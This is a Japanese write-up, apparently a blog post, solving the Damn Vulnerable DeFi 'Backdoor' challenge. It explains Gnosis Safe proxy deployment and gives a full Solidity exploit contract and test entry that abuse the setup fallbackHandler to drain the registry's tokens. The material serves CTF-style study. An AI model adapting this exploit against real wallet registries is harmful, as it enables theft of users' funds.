moon

moon

Build for builders on blockchain
github
twitter

Defiハッカーシリーズ:Damn Vulnerable DeFi (11) - バックドア

ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。開始する前に、Solidity および JavaScript に関するスキルを持っている必要があります。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。

問題リンク:https://www.damnvulnerabledefi.xyz/challenges/11.html

問題の説明:

より安全なウォレットを作成するためのインセンティブとして、WalletRegistry コントラクトがデプロイされました。誰かがこのコントラクトに受益者として登録し、Gnosis Safe ウォレットを作成すると、ウォレットに 10 個の DVT トークンが付与されます。

現在、4 人が受益者として登録されています:アリス、ボブ、チャーリー、デビッド。WalletRegistry コントラクトには 40 個の DVT が存在します。

あなたの目標は、この 40 個の DVT を盗むことです。

開始する前に、プロキシコントラクトマルチシグウォレットEVM メモリレイアウトSolidity インラインアセンブリ に関する知識を理解しておく必要があります。ここでは詳しく説明しません。

もし上記の内容を理解しているのであれば、次に正式に始めることができます。

しかし、その前に Gnosis Safe 1.3.0 バージョンのコントラクトアーキテクチャについて紹介する必要があります。Gnosis Safe のデプロイメント段階には、3 つの重要なコントラクトがあります。

  • GnosisSafeProxyFactory
  • GnosisSafeProxy
  • GnosisSafe

GnosisSafe はマルチシグロジックを処理するコントラクトで、あらかじめデプロイされています。イーサリアムメインネット上のアドレスは 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552 です。

私たちが Gnosis Safe ウェブサイトでマルチシグウォレットを作成する際に、実際にインタラクションするコントラクトは GnosisSafeProxyFactory であり、このコントラクトは GnosisSafeProxy プロキシコントラクトを作成してデプロイします。プロキシコントラクトのロジックコントラクトアドレスは、すでにデプロイされている GnosisSafe コントラクトです。したがって、私たちが作成するマルチシグウォレットは実際には GnosisSafeProxy プロキシコントラクトです。

gonsis-proxy

このプロキシモデルを採用することで、データは GnosisSafeProxy コントラクトに保存され、以下の利点があります:

  • マルチシグロジックは再利用可能であり、プロキシモデルはロジックコントラクトの重複デプロイを回避します。これにより、ユーザーがマルチシグウォレットを作成する際の ガス 料金を節約できます。
  • データはユーザー自身が作成したウォレットに保存され、ロジックコントラクトに一元的に保存されることはなく、各マルチシグウォレットのデータとロジックが分離されます。

GnosisSafeProxyFactory がプロキシコントラクトをデプロイするためのコアメソッドは次のとおりです。

function deployProxy(
    address _singleton,
    bytes memory initializer,
    bytes32 salt
) internal returns (GnosisSafeProxy proxy) {
    require(isContract(_singleton), "Singleton contract not deployed");

    bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
    // solhint-disable-next-line no-inline-assembly
    assembly {
        proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
    }
    require(address(proxy) != address(0), "Create2 call failed");

    if (initializer.length > 0) {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
                revert(0, 0)
            }
        }
    }
}

このメソッドのパラメータは次のとおりです:

  • _singleton :デプロイ済みのロジックコントラクトアドレス
  • initializer :ロジックコントラクト GnosisSafeProxysetup メソッドの calldata
  • salt :デプロイコントラクトの salt 値、長さは 32 バイト

関数内部では、2 つのインラインアセンブリ関数 create2call が使用されています。関連する内容は evm.codes で確認できます。

create2(value, offset, size, salt) はコントラクトをデプロイし、コントラクトアドレスを返します。

  • value:デプロイ時にコントラクトアカウントに送信される ETH の量、単位は wei
  • offset:メモリの開始位置
  • size:開始位置からの長さ
  • salt:デプロイコントラクトの salt 値、長さは 32 バイト

call(gas, address, value, argsOffset, argsSize, retOffset, retSize) はコントラクトメソッドを呼び出します。

  • gas:必要なガス
  • address:ターゲットコントラクトアドレス
  • value:ターゲットコントラクトに転送される ETH
  • argsOffset:送信される calldata のメモリ内の開始位置
  • argsSize:送信される calldata の長さ
  • retOffset:戻り値がメモリに書き込まれる開始位置
  • retSize:戻り値の長さ

deployProxyinternal であるため、GnosisSafeProxyFactory コントラクトは外部からプロキシコントラクトを作成するために以下の 2 つのメソッドを公開しています。

// nonce を使用してプロキシコントラクトを作成
function createProxyWithNonce(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
    // 初期化子が変更される場合、プロキシアドレスも変更されるべきです。初期化子データをハッシュ化する方が単に連結するよりも安価です。
    bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
    proxy = deployProxy(_singleton, initializer, salt);
    emit ProxyCreation(proxy, _singleton);
}

// プロキシコントラクトを作成し、コールバックコントラクトの proxyCreated メソッドを呼び出す
function createProxyWithCallback(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce,
    IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
    uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
    proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
    if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}

問題に戻ると、コントラクト WalletRegistryIProxyCreationCallback を継承しており、上記のメソッド createProxyWithCallback には次のようなコードがあります。

if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);

callback が存在する場合、その proxyCreated メソッドが呼び出されます。つまり、callbackWalletRegistry の場合、その proxyCreated メソッドが呼び出されます:

function proxyCreated(
    GnosisSafeProxy proxy, // プロキシコントラクト
    address singleton, // ロジックコントラクトアドレス
    bytes calldata initializer, // 初期化データ
    uint256
) external override {
    // コントラクトに 10 個の DVT があることを確認
    require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
    // ウォレットアドレスを取得
    address payable walletAddress = payable(proxy);

    // 呼び出し元が GnosisSafeProxyFactory であることを確認
    require(msg.sender == walletFactory, "Caller must be factory");
    require(singleton == masterCopy, "Fake mastercopy used");

    // 初期化子の最初の 4 バイトが GnosisSafe.setup 関数のセレクタであることを確認
    require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");

    require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
    require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");       

    // ウォレットの所有者を取得
    address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
    // 所有者が受益者であることを確認(受益者のみがウォレットの所有者になれる)
    require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");

    // 所有者を受益者から削除
    _removeBeneficiary(walletOwner);

    // 所有者が持つウォレットアドレスを記録
    wallets[walletOwner] = walletAddress;

    // 10DVT をマルチシグウォレットに転送
    token.transfer(walletAddress, TOKEN_PAYMENT);        
}

ここまでのまとめ:

  • WalletRegistry コントラクトは受益者アドレスを追加でき、受益者はマルチシグウォレットを作成し、10 個の DVT をウォレットアドレスに転送できます。
  • マルチシグウォレットを作成するには、GnosisSafeProxyFactory コントラクトの createProxyWithCallback メソッドを呼び出す必要があります。
    • createProxyWithCallback を呼び出す際に callback を渡すことで proxyCreated メソッドをコールバックできます。
    • ウォレット作成の過程で initializer が存在する場合、呼び出されます。

現在、4 人の受益者がいるため、4 つのマルチシグウォレットを作成できます。それぞれのウォレットには 10 個の DVT が含まれています。

目標は、マルチシグウォレットからこれらの DVT を引き出すことです。しかし、私たちはウォレットの所有者ではないため、DVT を自分のアカウントに移す方法を考える必要があります。

鍵となるのは initializer の値です。前述のように、initializer はロジックコントラクト GnosisSafesetup メソッドの calldata であり、ウォレット作成時にこのメソッドが呼び出されます。setup メソッドの実装は次のとおりです。

function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,
    bytes calldata data,
    address fallbackHandler,
    address paymentToken,
    uint256 payment,
    address payable paymentReceiver
) external {
    // setupOwners は、しきい値がすでに設定されているかどうかを確認し、このメソッドが 2 回呼び出されるのを防ぎます
    setupOwners(_owners, _threshold);
    if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
    // setupOwners はコントラクトが初期化されていない場合にのみ呼び出されるため、setupModules のチェックは必要ありません
    setupModules(to, data);

    if (payment > 0) {
        // EIP-170 の問題を回避するために handlePayment 関数を再利用します(検証されたコードの調整を避けるために、メソッド自体は調整しません)
        // baseGas = 0, gasPrice = 1, gas = payment => amount = (payment + 0) * 1 = payment
        handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
    }
    emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}

メソッドのパラメータ:

  • _owners:ウォレットの所有者
  • _threshold:トランザクションを開始する際に、最小限の同意が必要な人数
  • todelegtecall コントラクトアドレス
  • datadelegtecallcalldata
  • fallbackHandler:存在しないメソッドを呼び出す際の処理コントラクト
  • paymentToken:支払いトークンアドレス
  • payment:支払い額
  • paymentReceiver:支払いの受取人

fallbackHandler はコントラクトアドレスであり、存在しないメソッドを呼び出すときに同名のメソッドが呼び出されます。たとえば、transfer を呼び出すと、GnosisSafe にはこのメソッドがないため、fallbackHandler.transfer が呼び出されます。したがって、fallbackHandlerDVT コントラクトのアドレスに設定し、関連するパラメータを渡すことができます。

以下は攻撃コントラクト BackdoorAttack.sol です。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";

import "../backdoor/WalletRegistry.sol";

interface IGnosisSafe {
  function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,
    bytes calldata data,
    address fallbackHandler,
    address paymentToken,
    uint256 payment,
    address payable paymentReceiver
  ) external;
}

contract BackdoorAttack {
  constructor (
    address registry,
    address masterCopy,
    GnosisSafeProxyFactory walletFactory,
    IERC20 token,
    address[] memory beneficiaries
  ) {
    // 受益者をループして、ウォレットを作成
    for (uint i = 0; i < beneficiaries.length; i++) {
      address beneficiary = beneficiaries[i];
      address[] memory owners = new address[](1);
      owners[0] = beneficiary;

      bytes memory initializer = abi.encodeWithSelector(
          IGnosisSafe.setup.selector, // setup メソッドのセレクタ
          // 以下は setup メソッドのパラメータ
          owners, // _owners
          1, // _threshold
          address(0), // to
          hex"00", // data
          address(token), // fallbackHandler
          address(0), // paymentToken
          0, // payment
          address(0x0) // paymentReceiver
      );
      
      // ウォレットを作成
      GnosisSafeProxy proxy = walletFactory.createProxyWithCallback(
        masterCopy, // ロジックコントラクトアドレス
        initializer, // setup calldata
        0, // saltNonce
        WalletRegistry(registry) // コールバック
      );
      address wallet = address(proxy);
      
      // ウォレット(プロキシコントラクト)の transfer メソッドを呼び出す。これはロジックコントラクトの transfer メソッドを呼び出すことに相当します。つまり、fallbackHandler.transfer を呼び出すことになります。
      IERC20(wallet).transfer(msg.sender, token.balanceOf(wallet));
    }
  }
}

テストファイル backdoor.challenge.js に攻撃エントリを追加します。

it('Exploit', async function () {
  await ethers.getContractFactory('BackdoorAttack', attacker).then(contract => contract.deploy(
    this.walletRegistry.address,
    this.masterCopy.address,
    this.walletFactory.address,
    this.token.address,
    users
  ))
})

最後に yarn backdoor を実行してテストを通過させます!

完全なコード

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。